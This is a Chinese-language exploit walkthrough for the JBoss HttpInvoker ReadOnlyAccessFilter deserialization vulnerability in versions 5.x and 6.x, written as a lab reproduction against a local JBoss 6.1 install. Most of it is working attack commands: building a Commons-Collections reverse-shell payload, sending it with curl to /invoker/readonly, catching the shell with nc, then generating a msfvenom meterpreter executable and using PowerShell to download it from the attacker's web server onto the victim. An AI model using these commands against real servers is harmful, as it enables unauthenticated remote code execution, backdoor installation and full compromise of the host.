漏洞描述
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。
漏洞范围
5.x、6.x版本
漏洞复现
先下载jboss6.1版本进行测试。
下载地址https://blog.csdn.net/qq_27446553/article/details/52445172
进行解压即可。
环境搭建
jboss 6.1、java 1.8.0
修改配置文件:
C:\jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml
修改address为0.0.0.0均可访问,端口默认8080
切换至 C:\jboss-6.1.0.Final\bin 运行run.bat
进行访问。。
漏洞页面
http://192.168.0.118:8080/invoker/readonly
一般500错误,证明有此漏洞。
或使用工具进行检测是否存在该漏洞。
工具测试
工具下载:https://pan.baidu.com/s/1didPVYkGR7r1NJhTnGOZLg 密码:ac5q
反弹shell
使用工具http://scan.javasec.cn/java/JavaDeserH2HC.zip
下载解压到kali。运行以下命令。
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap192.168.72.140:4444
curl http://192.168.72.138:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
在另一个窗口使用nc进行监听
nc -lvp 4444
看效果图。。
延伸
感觉是不是一个cmd还不太够玩。。试试和metasploit结合。
尝试在nc反弹的窗口中使用powershell下载木马运行反弹shell。
使用msfvenom生成msf马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.72.140 LPORT=4444 -f exe > l.exe
将生成的马移动到/var/www/html下,开启apache服务。等待下载。
在nc反弹后使用powershell来下载exe马。
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.72.140/l.exe','C:\jboss-6.1.0.Final\bin\l.exe')
查看一下当前目录是否有l.exe马
ok。。马已经静静躺下啦。等待执行
下面就简单啦。。执行exe马,msf得到会话。